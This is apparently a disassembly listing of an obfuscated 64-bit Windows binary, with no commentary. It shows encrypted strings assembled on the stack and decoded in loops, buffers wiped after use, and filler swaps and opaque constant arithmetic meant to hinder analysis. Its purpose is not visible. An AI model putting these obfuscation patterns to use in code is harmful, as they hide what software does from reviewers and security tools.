cmp rdx, 0x1000
jb 0x14008e7ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008e7ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg r14, rbx
mov qword [rbp + 0x968], r14
xchg rbx, r14
mov qword [rbp + 0x970], 0x50fe73c1
sub qword [rbp + 0x970], 0x50fe73b2
mov byte [rbp + 0x958], 0x64
sub byte [rbp + 0x958], 0x64
xchg r8, rbx
mov rax, r8
xchg rbx, r8
mov byte [rbp + rax + 0x97], 0x21
sub byte [rbp + rax + 0x97], 0x21
inc rax
cmp rax, 0x12
jb 0x14008e829
xchg rdi, rdx
mov rdi, qword [rbp + 0xb10]
xchg rdx, rdi
cmp rdx, 0x10
jb 0x14008e8a2
inc rdx
xchg r11, rcx
mov r11, qword [rbp + 0xaf8]
xchg r11, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008e89d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
sub rax, 8
cmp rax, 0x1f
jbe 0x14008e89d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
mov qword [rbp + 0xb08], rbx
mov qword [rbp + 0xb10], 0x7054261a
sub qword [rbp + 0xb10], 0x7054260b
mov byte [rbp + 0xaf8], 6
sub byte [rbp + 0xaf8], 6
mov rax, rbx
mov byte [rbp + rax - 0x6b], 0x7e
xor byte [rbp + rax - 0x6b], 0x7e
inc rax
cmp rax, 8
jb 0x14008e8d0
mov rdx, qword [rbp + 0xb50]
cmp rdx, 0x10
jb 0x14008e94c
inc rdx
mov rcx, qword [rbp + 0xb38]
xchg r15, rcx
mov rax, r15
xchg rcx, r15
cmp rdx, 0x1000
jb 0x14008e947
neg rdx
add rdx, 0xffffffffffffffd9
neg rdx
mov rcx, qword [rcx - 8]
sub rax, rcx
nop
sub rax, 0xffffffffa9e2d325
add rax, 0xffffffffa9e2d31d
cmp rax, 0x1f
jbe 0x14008e947
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg rbx, r12
mov qword [rbp + 0xb48], r12
xchg r12, rbx
mov qword [rbp + 0xb50], 0x1fa0ab8b
sub qword [rbp + 0xb50], 0x1fa0ab7c
mov byte [rbp + 0xb38], 0x2d
sub byte [rbp + 0xb38], 0x2d
xchg r10, rax
mov r10, rbx
xchg r10, rax
mov byte [rbp + rax - 0x46], 0x2b
sub byte [rbp + rax - 0x46], 0x2b
inc rax
cmp rax, 9
jb 0x14008e984
lea rcx, [rbp + 0xd60]
call fcn.14000f270
lea rdx, [rbp + 0x1ed0]
lea rcx, [rbp + 0xd20]
call fcn.14002b490
xchg rsi, rax
mov rax, rsi
xchg rsi, rax
mov dword [rbp + 0x14], 0x61396770
add dword [rbp + 0x14], 0x5d85574e
mov dword [rbp + 0x1f], 0x125f70d7
xor dword [rbp + 0x1f], 0xa4e9d353
mov dword [rbp + 0x18], 0x2474f99c
add dword [rbp + 0x18], 0x9a49c522
mov dword [rbp + 0x23], 0x5f1a1eca
add dword [rbp + 0x23], 0x515688e4
mov word [rbp + 0x1c], 0x4b02
add word [rbp + 0x1c], 0x73bc
mov word [rbp + 0x27], 0x7b40
add word [rbp + 0x27], 0x3b67
xor eax, eax
mov byte [rbp + 0x29], al
xchg rbx, rcx
mov rdx, rcx
xchg rcx, rbx
movzx ecx, byte [rbp + rdx + 0x14]
movzx eax, byte [rbp + rdx + 0x1f]
add al, cl
mov byte [rbp + rdx + 0x1f], al
mov byte [rbp + rdx + 0x14], 0x6f
sub byte [rbp + rdx + 0x14], 0x6f
inc rdx
cmp rdx, 0xa
jb 0x14008ea1f
xchg rbx, r10
mov qword [rbp + 0xb58], r10
xchg r10, rbx
xchg rsi, rbx
mov qword [rbp + 0xb68], rsi
xchg rsi, rbx
mov qword [rbp + 0xb70], 0x273ac4bd
sub qword [rbp + 0xb70], 0x273ac4ae
mov byte [rbp + 0xb58], 0x31
sub byte [rbp + 0xb58], 0x31
lea rax, [rbp + 0x1f]
xchg r8, rsi
mov rsi, rdi
xchg rsi, r8
inc r8
cmp byte [rax + r8], 0
jne 0x14008ea91
lea rdx, [rbp + 0x1f]
lea rcx, [rbp + 0xb58]
call fcn.14001da60
nop
lea rdx, [rbp + 0xb58]
xchg rsi, r11
mov rcx, r11
xchg r11, rsi
call fcn.140033660
xchg rdx, rax
mov rax, rdx
xchg rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
xchg rdx, r11
mov r11, qword [rbp + 0xb70]
xchg rdx, r11
cmp rdx, 0x10
jb 0x14008eb42
inc rdx
xchg rcx, rdi
mov rdi, qword [rbp + 0xb58]
xchg rdi, rcx
xchg rcx, r8
mov rax, r8
xchg rcx, r8
cmp rdx, 0x1000
jb 0x14008eb3d
sub rdx, 0xffffffffffffffd9
mov rcx, qword [rcx - 8]
sub rax, rcx
nop
add rax, 0xffffffffeeeaf94f
sub rax, 0xffffffffeeeaf957
cmp rax, 0x1f
jbe 0x14008eb3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg rbx, r14
mov qword [rbp + 0xb68], r14
xchg r14, rbx
mov qword [rbp + 0xb70], 0x23d30946
xor qword [rbp + 0xb70], 0x23d30949
mov byte [rbp + 0xb58], 0x20
sub byte [rbp + 0xb58], 0x20
xchg r11, rax
mov r11, rbx
xchg r11, rax
nop dword [rax]
mov byte [rbp + rax + 0x1f], 0x59
sub byte [rbp + rax + 0x1f], 0x59
inc rax
cmp rax, 0xa
jb 0x14008eb7d
lea rcx, [rbp + 0xd20]
call fcn.14000f270
lea rdx, [rbp + 0x16b0]
lea rcx, [rbp + 0xd40]
call fcn.14002b490
xchg rdx, rsi
mov rdx, rax
xchg rdx, rsi
mov dword [rbp + 0x2a], 0x76bf1232
xor dword [rbp + 0x2a], 0xc801ac8c
mov dword [rbp + 0x35], 0x7b865672
add dword [rbp + 0x35], 0x3b304d12
mov dword [rbp + 0x2e], 0x72f6a5b8
add dword [rbp + 0x2e], 0x4bc81906
mov dword [rbp + 0x39], 0x2b2f15a8
xor dword [rbp + 0x39], 0x9b5fb206
mov word [rbp + 0x32], 0xb45
add word [rbp + 0x32], 0xb379
mov word [rbp + 0x3d], 0x6ff3
add word [rbp + 0x3d], 0x46b4
xor eax, eax
mov byte [rbp + 0x3f], al
xchg rdx, rbx
mov rbx, rdx
xchg rdx, rbx
movzx eax, byte [rbp + rdx + 0x35]
movzx ecx, byte [rbp + rdx + 0x2a]
add cl, al
mov byte [rbp + rdx + 0x35], cl
mov byte [rbp + rdx + 0x2a], 0x1d
sub byte [rbp + rdx + 0x2a], 0x1d
inc rdx
cmp rdx, 0xa
jb 0x14008ec1a
mov qword [rbp + 0x8b8], rbx
xchg r9, rbx
mov qword [rbp + 0x8c8], r9
xchg r9, rbx
mov qword [rbp + 0x8d0], 0x1d00029
sub qword [rbp + 0x8d0], 0x1d0001a
mov byte [rbp + 0x8b8], 0x3d
xor byte [rbp + 0x8b8], 0x3d
lea rax, [rbp + 0x35]
xchg rdi, r8
mov rdi, r8
xchg rdi, r8
inc r8
cmp byte [rax + r8], 0
jne 0x14008ec86
lea rdx, [rbp + 0x35]
lea rcx, [rbp + 0x8b8]
call fcn.14001da60
nop
lea rdx, [rbp + 0x8b8]
xchg rsi, r13
mov rcx, r13
xchg rsi, r13
call fcn.140033660
xchg rdx, rax
mov rax, rdx
xchg rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
xchg r14, rdx
mov r14, qword [rbp + 0x8d0]
xchg r14, rdx
cmp rdx, 0x10
jb 0x14008ed39
inc rdx
xchg r9, rcx
mov r9, qword [rbp + 0x8b8]
xchg rcx, r9
xchg r8, rcx
mov rax, r8
xchg r8, rcx
cmp rdx, 0x1000
jb 0x14008ed34
nop
add rdx, 0x3cd1cb94
sub rdx, 0x3cd1cb6d
mov rcx, qword [rcx - 8]
sub rax, rcx
sub rax, 8
cmp rax, 0x1f
jbe 0x14008ed34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
mov qword [rbp + 0x8c8], rbx
mov qword [rbp + 0x8d0], 0x667e8b9d
sub qword [rbp + 0x8d0], 0x667e8b8e
mov byte [rbp + 0x8b8], 0x7c
sub byte [rbp + 0x8b8], 0x7c
mov rax, rbx
nop dword [rax]
mov byte [rbp + rax + 0x35], 0x46
xor byte [rbp + rax + 0x35], 0x46
inc rax
cmp rax, 0xa
jb 0x14008ed6a
lea rcx, [rbp + 0xd40]
call fcn.14000f270
lea rdx, [rbp + 0x16b0]
lea rcx, [rbp + 0xd00]
call fcn.14002b490
xchg rsi, rax
mov rax, rsi
xchg rsi, rax
mov dword [rbp + 0xd6], 0x22d9905
add dword [rbp + 0xd6], 0xbc9125b9
mov dword [rbp + 0xed], 0x28dd01b7
add dword [rbp + 0xed], 0x93ceaccd
mov dword [rbp + 0xda], 0x74cdf1b0
xor dword [rbp + 0xda], 0xca734f0e
mov dword [rbp + 0xf1], 0x68af07a7
add dword [rbp + 0xf1], 0x3e059c15
mov dword [rbp + 0xde], 0x7d87aa4
add dword [rbp + 0xde], 0xb6e6441a
mov dword [rbp + 0xf5], 0x56d0c4cc
add dword [rbp + 0xf5], 0x5fdfc296
mov dword [rbp + 0xe2], 0xea34b65
add dword [rbp + 0xe2], 0xb01b7359
mov dword [rbp + 0xf9], 0x21fd00e4
xor dword [rbp + 0xf9], 0x824bb443
mov dword [rbp + 0xe6], 0x461acf3
add dword [rbp + 0xe6], 0xba5d11cb
mov dword [rbp + 0xfd], 0x198ac7ae
add dword [rbp + 0xfd], 0x8e24e8fd
mov word [rbp + 0xea], 0x1272
add word [rbp + 0xea], 0xac4c
mov word [rbp + 0x101], 0x3177
xor word [rbp + 0x101], 0x87c7
xor eax, eax
mov byte [rbp + 0x103], al
xchg rbx, r15
mov rdx, r15
xchg rbx, r15
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbp + rdx + 0xd6]
movzx eax, byte [rbp + rdx + 0xed]
add al, cl
mov byte [rbp + rdx + 0xed], al
mov byte [rbp + rdx + 0xd6], 0x4b
sub byte [rbp + rdx + 0xd6], 0x4b
inc rdx
cmp rdx, 0x16
jb 0x14008eeb3
xchg rbx, r13
mov qword [rbp + 0x8d8], r13
xchg r13, rbx
xchg rcx, rbx
mov qword [rbp + 0x8e8], rcx
xchg rcx, rbx
mov qword [rbp + 0x8f0], 0x400b0b67
sub qword [rbp + 0x8f0], 0x400b0b58
mov byte [rbp + 0x8d8], 0x14
xor byte [rbp + 0x8d8], 0x14
lea rax, [rbp + 0xed]
xchg rdi, r10
mov r8, r10
xchg rdi, r10
inc r8
cmp byte [rax + r8], 0
jne 0x14008ef37
lea rdx, [rbp + 0xed]
lea rcx, [rbp + 0x8d8]
call fcn.14001da60
nop
lea rdx, [rbp + 0x8d8]
xchg r10, rsi
mov rcx, r10
xchg rsi, r10
call fcn.140033660
xchg r12, rdx
mov r12, rax
xchg rdx, r12
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
mov rdx, qword [rbp + 0x8f0]
cmp rdx, 0x10
jb 0x14008efe3
inc rdx
mov rcx, qword [rbp + 0x8d8]
xchg rcx, r8
mov rax, r8
xchg r8, rcx
cmp rdx, 0x1000
jb 0x14008efde
nop
sub rdx, 0x4b92a846
add rdx, 0x4b92a86d
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008efde
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg r9, rbx
mov qword [rbp + 0x8e8], r9
xchg rbx, r9
mov qword [rbp + 0x8f0], 0x3ad4c593
xor qword [rbp + 0x8f0], 0x3ad4c59c
mov byte [rbp + 0x8d8], 0x21
sub byte [rbp + 0x8d8], 0x21
xchg r10, rbx
mov rax, r10
xchg r10, rbx
nop
mov byte [rbp + rax + 0xed], 0x20
xor byte [rbp + rax + 0xed], 0x20
inc rax
cmp rax, 0x16
jb 0x14008f01e
lea rcx, [rbp + 0xd00]
call fcn.14000f270
lea rdx, [rbp + 0x22e0]
lea rcx, [rbp + 0xce0]
call fcn.14002b490
mov rsi, rax
mov dword [rsp + 0x52], 0x59905682
add dword [rsp + 0x52], 0x652e683c
mov dword [rsp + 0x57], 0x544f2e8b
xor dword [rsp + 0x57], 0xe6e0891d
xor eax, eax
mov byte [rsp + 0x5b], al
xchg rbx, r9
mov rdx, r9
xchg rbx, r9
nop dword [rax]
movzx ecx, byte [rsp + rdx + 0x52]
movzx eax, byte [rsp + rdx + 0x57]
add al, cl
mov byte [rsp + rdx + 0x57], al
mov byte [rsp + rdx + 0x52], 0x61
xor byte [rsp + rdx + 0x52], 0x61
inc rdx
cmp rdx, 4
jb 0x14008f090
xchg r13, rbx
mov qword [rbp + 0xb18], r13
xchg rbx, r13
mov qword [rbp + 0xb28], rbx
mov qword [rbp + 0xb30], 0x455e0fc2
xor qword [rbp + 0xb30], 0x455e0fcd
mov byte [rbp + 0xb18], 0x48
xor byte [rbp + 0xb18], 0x48
lea rax, [rsp + 0x57]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14008f0f7
lea rdx, [rsp + 0x57]
lea rcx, [rbp + 0xb18]
call fcn.14001da60
nop
lea rdx, [rbp + 0xb18]
xchg rcx, rsi
mov rsi, rcx
xchg rsi, rcx
call fcn.140033660
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
mov rdx, qword [rbp + 0xb30]
cmp rdx, 0x10
jb 0x14008f1a5
inc rdx
xchg rcx, rdx
mov rdx, qword [rbp + 0xb18]
xchg rcx, rdx
xchg rcx, rbp
mov rax, rbp
xchg rbp, rcx
cmp rdx, 0x1000
jb 0x14008f1a0
neg rdx
add rdx, 0xffffffffffffffd9
neg rdx
mov rcx, qword [rcx - 8]
sub rax, rcx
nop
sub rax, 0xffffffff950349b2
add rax, 0xffffffff950349aa
cmp rax, 0x1f
jbe 0x14008f1a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg rbx, r15
mov qword [rbp + 0xb28], r15
xchg r15, rbx
mov qword [rbp + 0xb30], 0x2d5b42d7
sub qword [rbp + 0xb30], 0x2d5b42c8
mov byte [rbp + 0xb18], 0x12
sub byte [rbp + 0xb18], 0x12
xchg rdi, rbx
mov rax, rdi
xchg rdi, rbx
nop
mov byte [rsp + rax + 0x57], 0x4c
sub byte [rsp + rax + 0x57], 0x4c
inc rax
cmp rax, 4
jb 0x14008f1e0
lea rcx, [rbp + 0xce0]
call fcn.14000f270
lea rdx, [rbp + 0x1ac0]
lea rcx, [rbp + 0xcc0]
call fcn.14002b490
mov rsi, rax
mov dword [rbp + 0xaa], 0x317b6445
add dword [rbp + 0xaa], 0x8d435a79
mov dword [rbp + 0xc0], 0x77f01467
xor dword [rbp + 0xc0], 0xd95eb7e2
mov dword [rbp + 0xae], 0x3528f0d9
add dword [rbp + 0xae], 0x8995cde5
mov dword [rbp + 0xc4], 0x69522c9e
sub dword [rbp + 0xc4], 0x6a97b3c
mov dword [rbp + 0xb2], 0x7f9d4152
add dword [rbp + 0xb2], 0x3f217d6c
mov dword [rbp + 0xc8], 0x6a1e2e69
add dword [rbp + 0xc8], 0x5198891d
mov dword [rbp + 0xb6], 0x34ae59ff
add dword [rbp + 0xb6], 0x8a1064bf
mov dword [rbp + 0xcc], 0x5f0426a5
xor dword [rbp + 0xcc], 0xefa7bec7
mov dword [rbp + 0xba], 0x2d4968db
xor dword [rbp + 0xba], 0x93f7d665
mov dword [rbp + 0xd0], 0x68ec00b4
add dword [rbp + 0xd0], 0x4bb7b6f5
mov byte [rbp + 0xbe], 0x70
add byte [rbp + 0xbe], 0x4e
mov word [rbp + 0xd4], 0x3291
sub word [rbp + 0xd4], 0x31eb
mov rdx, rbx
nop word [rax + rax]
movzx ecx, byte [rbp + rdx + 0xaa]
movzx eax, byte [rbp + rdx + 0xc0]
add al, cl
mov byte [rbp + rdx + 0xc0], al
mov byte [rbp + rdx + 0xaa], 0x11
sub byte [rbp + rdx + 0xaa], 0x11
inc rdx
cmp rdx, 0x15
jb 0x14008f30d
xchg r9, rbx
mov qword [rbp + 0x998], r9
xchg rbx, r9
mov qword [rbp + 0x9a8], rbx
mov qword [rbp + 0x9b0], 0x110a1bd3
sub qword [rbp + 0x9b0], 0x110a1bc4
mov byte [rbp + 0x998], 0x7e
xor byte [rbp + 0x998], 0x7e
lea rax, [rbp + 0xc0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14008f385
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x998]
call fcn.14001da60
nop
lea rdx, [rbp + 0x998]
xchg rcx, rbp
mov rbp, rsi
xchg rcx, rbp
call fcn.140033660
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
xchg rcx, rdx
mov rcx, qword [rbp + 0x9b0]
xchg rcx, rdx
cmp rdx, 0x10
jb 0x14008f42d
inc rdx
mov rcx, qword [rbp + 0x998]
xchg r11, rax
mov r11, rcx
xchg r11, rax
cmp rdx, 0x1000
jb 0x14008f428
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
nop
sub rax, 0xffffffff9b239e90
add rax, 0xffffffff9b239e88
cmp rax, 0x1f
jbe 0x14008f428
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
mov qword [rbp + 0x9a8], rbx
mov qword [rbp + 0x9b0], 0x76da405c
xor qword [rbp + 0x9b0], 0x76da4053
mov byte [rbp + 0x998], 0x29
xor byte [rbp + 0x998], 0x29
xchg rbx, r13
mov rax, r13
xchg r13, rbx
nop
mov byte [rbp + rax + 0xc0], 4
xor byte [rbp + rax + 0xc0], 4
inc rax
cmp rax, 0x15
jb 0x14008f462
lea rcx, [rbp + 0xcc0]
call fcn.14000f270
lea rdx, [rbp + 0x1ac0]
lea rcx, [rbp + 0xca0]
call fcn.14002b490
xchg rsi, rax
mov rax, rsi
xchg rsi, rax
mov dword [rbp + 0x164], 0x4d8e0b5c
xor dword [rbp + 0x164], 0xf330b5e2
mov dword [rbp + 0x180], 0xc7bf011
xor dword [rbp + 0x180], 0xa2d55394
mov dword [rbp + 0x168], 0x32731f60
add dword [rbp + 0x168], 0x8c4b9f5e
mov dword [rbp + 0x184], 0x61f4a22e
xor dword [rbp + 0x184], 0x35c134c
mov dword [rbp + 0x16c], 0x2c248aff
add dword [rbp + 0x16c], 0x929a33bf
mov dword [rbp + 0x188], 0xb1692a4
xor dword [rbp + 0x188], 0xb0a02522
mov dword [rbp + 0x170], 0x33733da4
xor dword [rbp + 0x170], 0x8dcd831a
mov dword [rbp + 0x18c], 0x66e722ed
add dword [rbp + 0x18c], 0x3fca6c75
mov dword [rbp + 0x174], 0x65156c76
add dword [rbp + 0x174], 0x59a95248
mov dword [rbp + 0x190], 0x70f270c7
sub dword [rbp + 0x190], 0xe41bc20
mov dword [rbp + 0x178], 0x5daf4e7a
add dword [rbp + 0x178], 0x610f7044
mov dword [rbp + 0x194], 0x537ecf2
add dword [rbp + 0x194], 0xa37cb6a7
mov word [rbp + 0x17c], 0x5117
add word [rbp + 0x17c], 0x6da7
mov dword [rbp + 0x198], 0x539cdb73
sub dword [rbp + 0x198], 0x52f526d0
mov byte [rbp + 0x17e], 0x25
add byte [rbp + 0x17e], 0x99
xchg r8, rbx
mov rdx, r8
xchg r8, rbx
nop dword [rax + rax]
movzx eax, byte [rbp + rdx + 0x180]
movzx ecx, byte [rbp + rdx + 0x164]
add cl, al
mov byte [rbp + rdx + 0x180], cl
mov byte [rbp + rdx + 0x164], reloc.SHLWAPI.dll_SHCreateMemStream
xor byte [rbp + rdx + 0x164], 0xc
inc rdx
cmp rdx, 0x1b
jb 0x14008f5da
xchg r8, rbx
mov qword [rbp + 0xa38], r8
xchg rbx, r8
xchg r15, rbx
mov qword [rbp + 0xa48], r15
xchg r15, rbx
mov qword [rbp + 0xa50], 0x1e85dab2
xor qword [rbp + 0xa50], 0x1e85dabd
mov byte [rbp + 0xa38], 0x6f
xor byte [rbp + 0xa38], 0x6f
lea rax, [rbp + 0x180]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14008f655
xchg r8, r9
mov r9, rdi
xchg r8, r9
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0xa38]
call fcn.14001da60
nop
lea rdx, [rbp + 0xa38]
xchg rsi, r12
mov rcx, r12
xchg r12, rsi
call fcn.140033660
xchg rdx, r10
mov r10, rax
xchg rdx, r10
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
mov rdx, qword [rbp + 0xa50]
cmp rdx, 0x10
jb 0x14008f705
inc rdx
mov rcx, qword [rbp + 0xa38]
xchg rsi, rax
mov rsi, rcx
xchg rsi, rax
cmp rdx, 0x1000
jb 0x14008f700
sub rdx, 0xffffffffffffffd9
mov rcx, qword [rcx - 8]
sub rax, rcx
nop
add rax, 0xffffffff9aebd0a4
sub rax, 0xffffffff9aebd0ac
cmp rax, 0x1f
jbe 0x14008f700
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
mov qword [rbp + 0xa48], rbx
mov qword [rbp + 0xa50], 0x4ed2fd3
sub qword [rbp + 0xa50], 0x4ed2fc4
mov byte [rbp + 0xa38], 0xa
sub byte [rbp + 0xa38], 0xa
xchg rbx, r13
mov rax, r13
xchg rbx, r13
nop
mov byte [rbp + rax + 0x180], 0x25
xor byte [rbp + rax + 0x180], 0x25
inc rax
cmp rax, 0x1b
jb 0x14008f73b
lea rcx, [rbp + 0xca0]
call fcn.14000f270
lea rax, [rbp + 0x2738]
xchg r12, rax
mov qword [rbp + 0xb80], r12
xchg r12, rax
lea rax, [rsp + 0x40]
mov qword [rbp + 0xb88], rax
mov dword [rbp + 0x2748], 0x13031d3
sub dword [rbp + 0x2748], 0x13031d2
mov dword [rbp + 0x2740], 0x1bf42de6
xor dword [rbp + 0x2740], 0x1bf42fee
mov dword [rbp + 0x1fe], 0x47ac8465
add dword [rbp + 0x1fe], 0x77123a59
mov dword [rbp + 0x20e], 0x4a566c24
add dword [rbp + 0x20e], 0xb55a9367
mov dword [rbp + 0x212], 0x127a9326
xor dword [rbp + 0x212], 0xedcc6c93
mov dword [rbp + 0x202], 0x2e1c9018
add dword [rbp + 0x202], 0x90a22ea6
mov dword [rbp + 0x216], 0x28444a3d
xor dword [rbp + 0x216], 0xd7eab59e
mov dword [rbp + 0x21a], 0x4179e0f4
xor dword [rbp + 0x21a], 0xbef71f5a
mov dword [rbp + 0x206], 0x33562c0d
add dword [rbp + 0x206], 0x8b6892b1
mov dword [rbp + 0x21e], 0x540d7971
add dword [rbp + 0x21e], 0xab988640
mov dword [rbp + 0x222], 0x6a01c5c1
add dword [rbp + 0x222], 0x95b539e2
mov word [rbp + 0x20a], 0x67b7
add word [rbp + 0x20a], 0x5707
mov dword [rbp + 0x226], 0x22511285
add dword [rbp + 0x226], 0xdd60ed26
mov byte [rbp + 0x20c], 0x2f
add byte [rbp + 0x20c], 0x8f
mov dword [rbp + 0x22a], 0x3fb77fef
sub dword [rbp + 0x22a], 0x3fb6803f
mov rdx, rbx
nop dword [rax]
movzx ecx, word [rbp + rdx*2 + 0x20e]
movzx eax, byte [rbp + rdx + 0x1fe]
add ax, cx
mov word [rbp + rdx*2 + 0x20e], ax
mov byte [rbp + rdx + 0x1fe], 0x10
xor byte [rbp + rdx + 0x1fe], 0x10
inc rdx
cmp rdx, 0xf
jb 0x14008f8ad
mov dword [rbp + 0x60e], 0x387257d4
xor dword [rbp + 0x60e], 0x86cce96a
mov dword [rbp + 0x66a], 0x53416b96
xor dword [rbp + 0x66a], 0xacd09403
mov dword [rbp + 0x66e], 0x4fe944c0
add dword [rbp + 0x66e], 0xafadbac8
mov dword [rbp + 0x612], 0x5e4b5ccd
add dword [rbp + 0x612], 0x607361f1
mov dword [rbp + 0x672], 0x1b9276ae
xor dword [rbp + 0x672], 0xe4118937
mov dword [rbp + 0x676], 0x640e29d5
xor dword [rbp + 0x676], 0x9b89d641
mov dword [rbp + 0x616], 0x44a5f902
add dword [rbp + 0x616], 0x7a18c5bc
mov dword [rbp + 0x67a], 0x4c732f9c
xor dword [rbp + 0x67a], 0xb3ead002
mov dword [rbp + 0x67e], 0x5f32d23f
xor dword [rbp + 0x67e], 0xa0ab2dae
mov dword [rbp + 0x61a], 0x5093eafd
xor dword [rbp + 0x61a], 0xee2d5443
mov dword [rbp + 0x682], 0x35e8e0dc
xor dword [rbp + 0x682], 0xca9e1fa4
mov dword [rbp + 0x686], 0x682ed728
add dword [rbp + 0x686], 0x9746284d
mov dword [rbp + 0x61e], 0x6c1717a7
add dword [rbp + 0x61e], 0x52a7a717
mov dword [rbp + 0x68a], 0x40a1d25b
xor dword [rbp + 0x68a], 0xbf102dcb
mov dword [rbp + 0x68e], 0x282834f2
xor dword [rbp + 0x68e], 0xd78fcb54
mov dword [rbp + 0x622], 0x7693ad37
xor dword [rbp + 0x622], 0xc82d1389
mov dword [rbp + 0x692], 0x1d7fc93f
add dword [rbp + 0x692], 0xe210365f
mov dword [rbp + 0x696], 0x6fd1f268
xor dword [rbp + 0x696], 0x90740dc3
mov dword [rbp + 0x626], 0x6e38755d
add dword [rbp + 0x626], 0x50864961
mov dword [rbp + 0x69a], 0x636ce74c
xor dword [rbp + 0x69a], 0x9cdd18f8
mov dword [rbp + 0x69e], 0x75c21ca3
xor dword [rbp + 0x69e], 0x8a73e316
mov dword [rbp + 0x62a], 0x4e6f4f13
add dword [rbp + 0x62a], 0x704f6fab
mov dword [rbp + 0x6a2], 0x3aa54aa
add dword [rbp + 0x6a2], 0xfc0caafe
mov dword [rbp + 0x6a6], 0x5dab1982
xor dword [rbp + 0x6a6], 0xa232e61c
mov dword [rbp + 0x62e], 0x639012fa
add dword [rbp + 0x62e], 0x5b2eabc4
mov dword [rbp + 0x6aa], 0x6084adaf
add dword [rbp + 0x6aa], 0x9f2c51fc
mov dword [rbp + 0x6ae], 0x2bcf4b96
add dword [rbp + 0x6ae], 0xd3e2b410
mov dword [rbp + 0x632], 0x32078339
add dword [rbp + 0x632], 0x8cb73b85
mov dword [rbp + 0x6b2], 0x11a3ddde
add dword [rbp + 0x6b2], 0xee1221db
mov dword [rbp + 0x6b6], 0x7d27c236
add dword [rbp + 0x6b6], 0x825e3d68
mov dword [rbp + 0x636], 0x5cc5d89a
xor dword [rbp + 0x636], 0xe27b6624
mov dword [rbp + 0x6ba], 0x126e8ebc
add dword [rbp + 0x6ba], 0xed4670fb
mov dword [rbp + 0x6be], 0x1166983
add dword [rbp + 0x6be], 0xfe919631
mov dword [rbp + 0x63a], 0x5da9a1aa
add dword [rbp + 0x63a], 0x61151d14
mov dword [rbp + 0x6c2], 0x25d09554
xor dword [rbp + 0x6c2], 0xda666ae4
mov dword [rbp + 0x6c6], 0x763198c3
add dword [rbp + 0x6c6], 0x897666d5
mov dword [rbp + 0x63e], 0x7c734217
xor dword [rbp + 0x63e], 0xc2cdfca9
mov dword [rbp + 0x6ca], 0x7a5ed249
add dword [rbp + 0x6ca], 0x85572d6b
mov dword [rbp + 0x6ce], 0x318dfe76
add dword [rbp + 0x6ce], 0xce240135
mov dword [rbp + 0x642], 0x1e67bafd
add dword [rbp + 0x642], 0xa05703c1
mov dword [rbp + 0x6d2], 0x6ce3f1b7
add dword [rbp + 0x6d2], 0x92bb0df9
mov dword [rbp + 0x6d6], 0x30edec5
xor dword [rbp + 0x6d6], 0xfcbe2152
mov dword [rbp + 0x646], 0x79e3a283
add dword [rbp + 0x646], 0x44db1c3b
mov dword [rbp + 0x6da], 0x3046e03f
xor dword [rbp + 0x6da], 0xcff61f94
mov dword [rbp + 0x6de], 0x8daca8d
add dword [rbp + 0x6de], 0xf6dc3528
mov dword [rbp + 0x64a], 0x536a5858
add dword [rbp + 0x64a], 0x6b546666
mov dword [rbp + 0x6e2], 0xff2673d
xor dword [rbp + 0x6e2], 0xf05c989e
mov dword [rbp + 0x6e6], 0x14ccdcfc
xor dword [rbp + 0x6e6], 0xeb522352
mov dword [rbp + 0x64e], 0x68855a62
add dword [rbp + 0x64e], 0x5639645c
mov dword [rbp + 0x6ea], 0x2040da6c
xor dword [rbp + 0x6ea], 0xdfe325e9
mov dword [rbp + 0x6ee], 0x570a09a9
add dword [rbp + 0x6ee], 0xa8a4f605
mov dword [rbp + 0x652], 0x4b9794f8
xor dword [rbp + 0x652], 0xf5292a46
mov dword [rbp + 0x6f2], 0x4792904c
add dword [rbp + 0x6f2], 0xb81f6f16
mov dword [rbp + 0x6f6], 0x3f937a71
add dword [rbp + 0x6f6], 0xbfcf8537
mov dword [rbp + 0x656], 0x261d05a1
xor dword [rbp + 0x656], 0x98a3bb1f
mov dword [rbp + 0x6fa], 0x6e70bd4
add dword [rbp + 0x6fa], 0xf8d0f3b2
mov dword [rbp + 0x6fe], 0x12c7a0f2
add dword [rbp + 0x6fe], 0xecf45ec4
mov dword [rbp + 0x65a], 0x187647ce
add dword [rbp + 0x65a], 0xa64876f0
